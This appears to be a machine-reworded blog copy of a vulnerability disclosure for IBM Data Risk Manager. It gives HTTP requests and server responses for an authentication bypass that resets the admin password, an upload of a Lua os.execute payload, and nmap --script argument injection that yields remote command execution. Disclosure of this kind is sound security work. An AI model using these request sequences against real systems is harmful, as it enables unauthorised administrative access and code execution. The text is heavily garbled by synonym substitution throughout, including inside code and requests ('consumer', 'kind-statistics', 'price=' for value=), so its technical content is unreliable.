Friday, April 24, 2020

PoC/ibm_drm_rce.md at grasp · pedrib/PoC · GitHub

pedrib@gmail.com | @pedrib1337) from Agile assistance safety

From the supplier's website:What you don't recognize can damage you. determine and help steer clear of risks to sensitive enterprise facts that may also have an effect on enterprise methods, operations, and aggressive position. IBM records risk manager provides executives and their groups a company-consumable statistics chance handle middle that helps to discover, analyze, and visualize information-related company hazards so we can take motion to protect their company.

faraway code execution and arbitrary file download are being launched to the general public.

at the time of disclosure, it's unclear if the latest edition 2.0.6 is littered with these, however surely it is, as there isn't any point out of fastened vulnerabilities in any changelog, and it turned into released before the try to report these vulnerabilities to IBM. The newest edition Agile InfoSec has access to is 2.0.three, and that one is definitely vulnerable. The reputation of edition 2.0.0 is unknown, but that edition is out-of-assist anyway.

CERT/CC to coordinate disclosure with IBM, however IBM REFUSED to settle for the vulnerability report, and replied to CERT/CC with:

we now have assessed this document and closed as being out of scope for our vulnerability disclosure application considering that this product is only for "more suitable" assist paid for through our purchasers. here's outlined in our policy https://hackerone.com/ibm. To be eligible to take part in this software, you must now not be beneath contract to operate protection checking out for IBM supplier, or an IBM subsidiary, or IBM client inside 6 months prior to submitting a report.

this is an miraculous response through IBM, a multi billion greenback business that is promoting security enterprise products and security consultancy to big firms worldwide. They refused to settle for a free high fine vulnerability report on certainly one of their items, whereas inserting ludicrous fees like right here on their site:

When each second counts, you want a unified defense to determine, orchestrate and automate your response to threats. IBM security chance management options assist you thrive in the face of cyber uncertainty.

building a custom security plan it truly is each business-certain and aligned to your safety maturity demands a associate with deep advantage and international attain. The IBM security strategy and risk functions team is that valued companion.

it should be stated that IBM presents no bounties on their "bug bounty program", simply kudos:

Kudos

after all, I did not ask or expect a bounty since I shouldn't have a HackerOne account and i do not accept as true with HackerOne's or IBM's disclosure phrases there. I conveniently wanted to disclose these to IBM responsibly and allow them to repair it.

  • CWE-287: improper Authentication
  • CVE-TODO (now not assigned yet)
  • risk Classification: vital
  • assault Vector: remote
  • Constraints: None / N/A
  • Affected items / versions:
  • IBM facts chance manager 2.0.1 to 2.0.3 tested to be inclined
  • IBM records chance manager 2.0.4 to 2.0.6 more likely to be inclined
  • https://localhost:8765/saml/idpSelection, but that doesn't in reality matter. This motion may no longer make feel now, however examine on.

    The API endpoint /albatross/user/login is dealt with by means of the following system (best the important snippets are proven):

    @RequestMapping(value="/consumer/login", method=RequestMethod.post, consumes="multipart/form-records") public A3StatusBean userLogin(HttpServletRequest httpRequest, @RequestParam(price="username", required=actual) String username, @RequestParam(value="deviceid") String deviceId, @RequestParam(price="password", required=false) String password, @RequestParam(value="sessionId", required=false) String sessionId, @RequestParam(price="clientDetails", required=proper) String clientDetails) { (...) A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCase(username); if (consumer != null) { if (sessionId != null) if (sessionId.equals(person.getSessionId())) (...) LOGGER.log(A3Constants.A3LOG, "Session is matching, so person is valid"); response.setRequestedUrl(A3Utils.getWebURLWithQueryString((HttpServletRequest)httpRequest)); response.setHttpStatus(Integer.toString(HttpStatus.ok.price())); response.setServerCode(Integer.toString(A3FullStackResponseConstants.SUCCESS)); if (this.userMap.get(consumer.getUserId()) == null) consumer.setSessionId(null); String randomPwd = UUID.randomUUID().toString(); person.setPassword(A3BcryptUtil.getBCryptHash(randomPwd)); this.a3repository.getA3userService().store((Object)person); this.userMap.put(user.getUserId(), randomPwd); response.setData((Object)randomPwd); else String tPassword = this.userMap.get(consumer.getUserId()); person.setPassword(A3BcryptUtil.getBCryptHash(tPassword)); this.a3repository.getA3userService().save((Object)consumer); response.setData((Object)tPassword); return response; (...)

    The formula listed above takes the username and sessionId parameters, and exams if username exists in the database and sessionId is associated with that username. whether it is, the utility returns a newly generated random password for that username.within the previous request, the "admin" person was associated with the sessionId "whatever". So now if we function here request:

    publish /albatross/user/login HTTP/1.1 Host: 10.0.10.25:8443 user-Agent: Mozilla/4.0 (suitable; MSIE 6.0; home windows NT 5.1) content material-type: multipart/kind-statistics; boundary=_Part_224_2171658712_4042463386 content-size: 509 Connection: close --_Part_224_2171658712_4042463386 content material-Disposition: kind-statistics; name="deviceid" --_Part_224_2171658712_4042463386 content-Disposition: kind-information; name="password" < ... any string may also be sent right here ... > --_Part_224_2171658712_4042463386 content material-Disposition: kind-statistics; identify="username" admin --_Part_224_2171658712_4042463386 content material-Disposition: form-records; name="clientDetails" --_Part_224_2171658712_4042463386 content material-Disposition: form-records; name="sessionId" whatever --_Part_224_2171658712_4042463386--

    The server will respond with:

    "httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/consumer/login","information":"b6e1a82b-3f33-4297-86e1-ca780d16cb02"

    ... which is now a legitimate password for the "admin" consumer, as the outdated snippet of code indicates.

    So now let's are attempting and authenticate using that as a password:

    put up /albatross/person/login HTTP/1.1 Host: 10.0.10.25:8443 user-Agent: Mozilla/four.0 (appropriate; MSIE 6.0; home windows NT 5.1) content-category: multipart/kind-records; boundary=_Part_122_4062871012_3985537084 content material-size: 435 Connection: close --_Part_122_4062871012_3985537084 content material-Disposition: form-information; name="deviceid" --_Part_122_4062871012_3985537084 content-Disposition: form-records; name="password" b6e1a82b-3f33-4297-86e1-ca780d16cb02 --_Part_122_4062871012_3985537084 content material-Disposition: kind-information; name="username" admin --_Part_122_4062871012_3985537084 content-Disposition: form-data; identify="clientDetails" --_Part_122_4062871012_3985537084--

    To which the server responds with:

    "httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","statistics":"access_token":"3b5b0fa6-2d46-4104-ba38-54a077d05a93","token_type":"bearer","expires_in":28799,"scope":"study write"

    Success! we have a legitimate Bearer administrative token that can also be used to access quite a lot of API. it's also feasible to login as a traditional net consumer on the /albatross/login endpoint, so that it will yield an authenticated cookie instead of a token, allowing access to the internet administration console. in spite of everything, as this suggests, authentication is now completely bypassed and we have full administrative entry to IDRM.

    it'll be noted that here is a destructive action - the old admin password can be invalid, and simplest the brand new password which is generated above can be used to login as an admin. So this works just a little like a "password reset", notwithstanding it is not named as such.

  • CWE-seventy seven: Command Injection
  • CVE-TODO (now not assigned yet)
  • risk Classification: crucial
  • attack Vector: faraway
  • Constraints: Authentication Required
  • Affected products / types:
  • IBM information possibility supervisor 2.0.1 to 2.0.3 validated to be inclined
  • IBM data possibility supervisor 2.0.4 to 2.0.6 prone to be inclined
  • GTFObins, having access to nmap allows for working arbitrary commands if we are able to upload a script file and then move that as an argument to nmap with "--script=<FILE>". seeing that we can not inject commands in a parameter, our highest quality chance is to write down the commands to a file and pass that within the --script argument to nmap.

    youngsters, to achieve code execution in this way we nevertheless deserve to be in a position to add a file. fortuitously, there is a technique that tactics patch files and accepts arbitrary file records, saving it to "/home/a3user/agile3/patches/<FILE>". The system is just too long and verbose to paste right here, nevertheless it is supposed to settle for a patch file, manner it and observe it. There are several bugs in edition 2.0.2 that cause the formulation to abort early and fail to system the file. still, the file is uploaded and saved on disk even after the formulation aborts. In different models, there is some processing executed, however once more the file is stored on disk after the components terminates.

    so as to upload a file, we effectively deserve to ship the following request:

    put up /albatross/add/patch HTTP/1.1 Host: 10.0.10.25:8443 person-Agent: Mozilla/4.0 (compatible; MSIE 6.0; home windows NT 5.1) Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0; CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176 content material-category: multipart/kind-records; boundary=_Part_387_3982485447_258275719 content material-size: 330 Connection: close --_Part_387_3982485447_258275719 content material-Disposition: kind-statistics; name="patchFiles"; filename="owned.enc" content-classification: software/octet-circulation content-transfer-Encoding: binary os.execute("/usr/bin/whoami > /tmp/trying out") --_Part_387_3982485447_258275719--

    The server will reply with a 200 ok but will encompass a JSON message saying an error has occured. here's beside the point, as the file changed into nonetheless uploaded to disk.eventually we inject our parameters and run nmap with here request:

    submit /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1 Host: 10.0.10.25:8443 consumer-Agent: Mozilla/4.0 (appropriate; MSIE 6.0; home windows NT 5.1) Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93 content-category: multipart/kind-facts; boundary=_Part_841_3176682485_2250831758 content-size: 440 Connection: shut --_Part_841_3176682485_2250831758 content material-Disposition: form-facts; identify="clientDetails" --_Part_841_3176682485_2250831758 content material-Disposition: kind-statistics; identify="class" 1 --_Part_841_3176682485_2250831758 content-Disposition: kind-facts; name="portRange" --_Part_841_3176682485_2250831758 content-Disposition: form-records; name="ipAddress" --script=/domestic/a3user/agile3/patches/owned.enc --_Part_841_3176682485_2250831758--

    this could execute "nmap --script=/home/a3user/agile3/patches/owned.enc" and run our command:

    [a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc os.execute("/usr/bin/whoami > /tmp/trying out") [a3user@idrm-server ~]$ cat /tmp/checking out a3user

    word that every one of those requests require an authenticated session as an administrator - but as proven in #1, this can also be easily bypassed. The exact stream to achieve full unauthenticated far off code execution is a bit extra convoluted, as we need to authenticate to each the net interface and the API, however the fundamental workings have been described above.

  • CWE-798: Use of difficult-coded Credentials
  • CVE-TODO (now not assigned yet)
  • possibility Classification: critical
  • attack Vector: faraway
  • Constraints: None / N/A
  • Affected items / models:
  • IBM statistics chance manager 2.0.1 to 2.0.3 demonstrated to be susceptible
  • IBM facts possibility supervisor 2.0.four to 2.0.6 more likely to be inclined
  • A Metasploit module enforcing this RCE chain changed into released and the asciinema clip beneath suggests it in motion:asciicast

    If vulnerabilities #1 and #4 are combined, it be possible for an unauthenticated attacker to down load arbitrary files off the gadget. A 2nd Metasploit module enforcing this file download chain changed into released, and the asciinema clip below indicates it in motion:asciicast

    GNU ordinary Public License, version three (GPLv3).For advice, code or binary records obtained from other sources that has a license which is incompatible with GPLv3, the fashioned license prevails.

    No comments:

    Post a Comment